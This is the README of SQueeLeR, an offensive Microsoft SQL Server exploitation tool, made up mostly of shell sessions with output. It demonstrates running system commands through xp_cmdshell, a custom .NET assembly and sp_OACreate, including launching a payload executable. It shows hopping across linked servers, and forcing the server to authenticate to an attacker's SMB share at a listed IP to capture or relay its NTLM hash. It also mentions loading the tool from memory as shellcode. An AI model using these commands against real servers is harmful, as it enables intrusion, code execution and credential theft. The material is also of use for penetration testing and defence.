_______ _______                   ___          _______ 
|   _   |   _   .--.--.-----.-----|   |  .-----|   _   \
|   1___|.  |   |  |  |  -__|  -__|.  |  |  -__|.  l   /
|____   |.  |   |_____|_____|_____|.  |__|_____|.  _   1
|:  1   |:  1   |                 |:  1   |    |:  |   |
|::.. . |::..   |                 |::.. . |    |::.|:. |
`-------`----|:.|                 `-------'    `--- ---'
			 `--'                                       
 [[ A product of ACAB Enterprises (@acabenterprises) ]]

Official URL: https://acab.enterprises/dismantl/squeeler. Mirror at https://github.com/dismantl/squeeler.

SQueeLeR is a Microsoft SQL Server enumeration and exploitation tool written in Go. It can perform basic enumeration of targets and linked servers and perform command execution using three different techniques.

Features

  • Cross-platform: SQueeLeR can be compiled and run from any system supported by the Go language. Compiles easily into native executables that can be converted to shellcode and run from memory using Donut.
  • Interactive REPL shell: Take one-off actions using command line arguments, or drop into an interactive shell (with history and tab-completion) for executing further commands or queries.
  • Multiple means of command execution: In addition to the well-known xp_cmdshell and sp_OACreate methods for executing system commands on a target server, you can also get code execution using a custom .NET assembly stored procedure.
  • Impersonation: Impersonate users before executing queries, when allowed.
  • Windows integrated security: Pass the -w flag instead of a username and password on Windows to connect using the current user account.
  • Capture NTLM hash: Instruct the SQL server to connect to an SMB share of the attacker’s choice, allowing capturing the NTLM hash of the user under which the SQL server is running.
  • Execute queries and commands on linked servers: Traverse any number of linked SQL servers in order to execute queries and system commands.

Building and usage

go build -o squeeler cmd/main.go

or for Windows:

GOOS=windows go build -o squeeler.exe cmd/main.go

You can now execute queries/actions once using command line flags (type -h/--help for usage), or drop into an interactive shell:

$ squeeler.exe shell -s sql01.local -u lab\\user -p S3cr3t

_______ _______                   ___          _______ 
|   _   |   _   .--.--.-----.-----|   |  .-----|   _   \
|   1___|.  |   |  |  |  -__|  -__|.  |  |  -__|.  l   /
|____   |.  |   |_____|_____|_____|.  |__|_____|.  _   1
|:  1   |:  1   |                 |:  1   |    |:  |   |
|::.. . |::..   |                 |::.. . |    |::.|:. |
`-------`----|:.|                 `-------'    `--- ---'
             `--'                                       
 [[ A product of ACAB Enterprises (@acabenterprises) ]]


Commands:
  assembly          Run system command via managed code custom assembly
  capture_hash      Cause SQL server to authenticate against remote SMB share
  clear             clear the screen
  enable_rpc        Enable RPC (required for calling xp_cmdshell on linked server)
  enum              Enumerate basic info about SQL server
  enum_link         Enumerate basic information about a linked SQL server
  exit              exit the program
  help              display help
  link_exec         Execute system command against a linked SQL server via xp_cmdshell
  query             Run arbitrary query against SQL server
  sp_oa             Enable sp_OACreate and run system command
  use               Switch the active database
  xp_cmdshell       Enable xp_cmdshell and run system command


sql01 »

Enumeration

Basic enumeration can be done with the enum command, or the enum_link command for linked servers:

sql01 » enum
Server version: Microsoft SQL Server 2012 (SP3) (KB3072779) - 11.0.6020.0 (X64) 
        Oct 20 2015 15:36:27 
        Copyright (c) Microsoft Corporation
        Standard Edition (64-bit) on Windows NT 6.3 <X64> (Build 14393: ) (Hypervisor)

Login: RLAB\epugh_adm (dbo)
User is a member of public role
User is a member of sysadmin role
Discovered databases: master, tempdb, model, msdb, umbraco
Logins that can be impersonated: 
Linked SQL servers: SQL01, SQL02

sql01 » enum_link -l sql02
Server version: Microsoft SQL Server 2016 (SP2-GDR) (KB4583460) - 13.0.5103.6 (X64) 
        Nov  1 2020 00:13:28 
        Copyright (c) Microsoft Corporation
        Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Login: link (guest)
User is a member of public role
User is NOT a member of sysadmin role
Discovered databases: 
Logins that can be impersonated: 
Linked SQL servers: 

Querying

To run a one-off query from the shell or command line:

sql01 » query -q "SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE';"
|---------------|--------------|-----------------------|------------|
| TABLE CATALOG | TABLE SCHEMA |      TABLE NAME       | TABLE TYPE |
|---------------|--------------|-----------------------|------------|
| master        | dbo          | spt_fallback_db       | BASE TABLE |
| master        | dbo          | spt_fallback_dev      | BASE TABLE |
| master        | dbo          | spt_fallback_usg      | BASE TABLE |
| master        | dbo          | MSreplication_options | BASE TABLE |
| master        | dbo          | spt_monitor           | BASE TABLE |
|---------------|--------------|-----------------------|------------|

You can also drop into a SQL subshell for easier querying:

sql01 » query
Entering SQL query mode. Enter `back` to return to main menu.
sql01 (master) » SELECT @@version
|--------------------------------|
|                                |
|--------------------------------|
| Microsoft SQL Server           |
| 2012 (SP3) (KB3072779) -       |
| 11.0.6020.0 (X64)     Oct 20   |
| 2015 15:36:27  Copyright (c)   |
| Microsoft Corporation Standard |
| Edition (64-bit) on Windows    |
| NT 6.3 <X64> (Build 14393: )   |
| (Hypervisor)                   |
|--------------------------------|
sql01 (master) » SELECT name FROM master..syslogins
|-----------------------------------------|
|                  NAME                   |
|-----------------------------------------|
| sa                                      |
| ##MS_SQLResourceSigningCertificate##    |
| ##MS_SQLReplicationSigningCertificate## |
| ##MS_SQLAuthenticatorCertificate##      |
| ##MS_PolicySigningCertificate##         |
| ##MS_SmoExtendedSigningCertificate##    |
| ##MS_PolicyTsqlExecutionLogin##         |
| NT SERVICE\SQLWriter                    |
| NT SERVICE\Winmgmt                      |
| NT Service\MSSQLSERVER                  |
| NT AUTHORITY\SYSTEM                     |
| NT SERVICE\SQLSERVERAGENT               |
| ##MS_PolicyEventProcessingLogin##       |
| ##MS_AgentSigningCertificate##          |
|-----------------------------------------|

SQueeLeR will connect to the master database by default, but you can specify a different database on the command line using the -d/--database flag. You can also switch the active database at anytime using the use command:

sql01 (master) » use msdb
Switched active database to msdb
sql01 (msdb) »  

Command execution

Using Xp_cmdshell:

sql01 » xp_cmdshell -c "whoami"
Output from command: rlab\mssqlserver$
sql01 » xp_cmdshell
Entering xp_cmdshell mode. Enter `back` to return to main menu.
sql01 {xp_cmdshell}> dir c:\
 Volume in drive C has no label.
 Volume Serial Number is CC81-BE60
 Directory of c:\
15/08/2018  22:16    <DIR>          PerfLogs
09/08/2022  14:36    <DIR>          Program Files
15/10/2017  17:07    <DIR>          Program Files (x86)
09/08/2022  14:33    <DIR>          Users
10/08/2022  13:13    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  11,185,426,432 bytes free
sql01 {xp_cmdshell}>

If a database has the TRUSTWORTHY property set, it may be possible to use the CREATE ASSEMBLY statement to import a .NET DLL and execute methods within it. This can be accomplished with the assembly command:

sql01 » assembly -c "whoami"
Output from command: rlab\mssqlserver$

Code execution can also be done with sp_OACreate, however output from the command is not returned:

sql01 » sp_oa -c "c:\windows\temp\payload.exe"

Finally, you can execute system commands on linked servers via xp_cmdshell using the link_exec command:

sql01 » link_exec -h
usage:  link_exec [-h|--help] -l|--links "<value>" -c|--command "<value>"
        [-t|--timeout <integer>] [-v|--verbose]

        Execute system command against a linked SQL server via xp_cmdshell

Arguments:

  -h  --help     Print help information
  -l  --links    Comma-separated chain of links
  -c  --command  System command to run
  -t  --timeout  Max number of seconds to wait for command to complete.
                 Default: 30
  -v  --verbose  Enable debug output

Executing commands on linked servers requires the link to be configured with RPC Out, which is not enabled by default. This setting can be turned on with the enable_rpc command.

NTLM hash capturing and relaying

Using the undocumented xp_dirtree procedure, we can force an SQL server to authenticate with an attacker-controlled remote SMB share, allowing us to capture or relay the Net-NTLM hash of the user under which the SQL server is running. This can be done using the capture_hash command:

sql01 » capture_hash -h
usage:  capture_hash [-h|--help] --ip "<value>" [--share "<value>"]
        [-v|--verbose]

        Cause SQL server to authenticate against remote SMB share

Arguments:

  -h  --help     Print help information
      --ip       IP address of listening SMB server
      --share    Name of SMB share. Default: test
  -v  --verbose  Enable debug output


sql01 » capture_hash --ip 10.10.10.1 --share myshare

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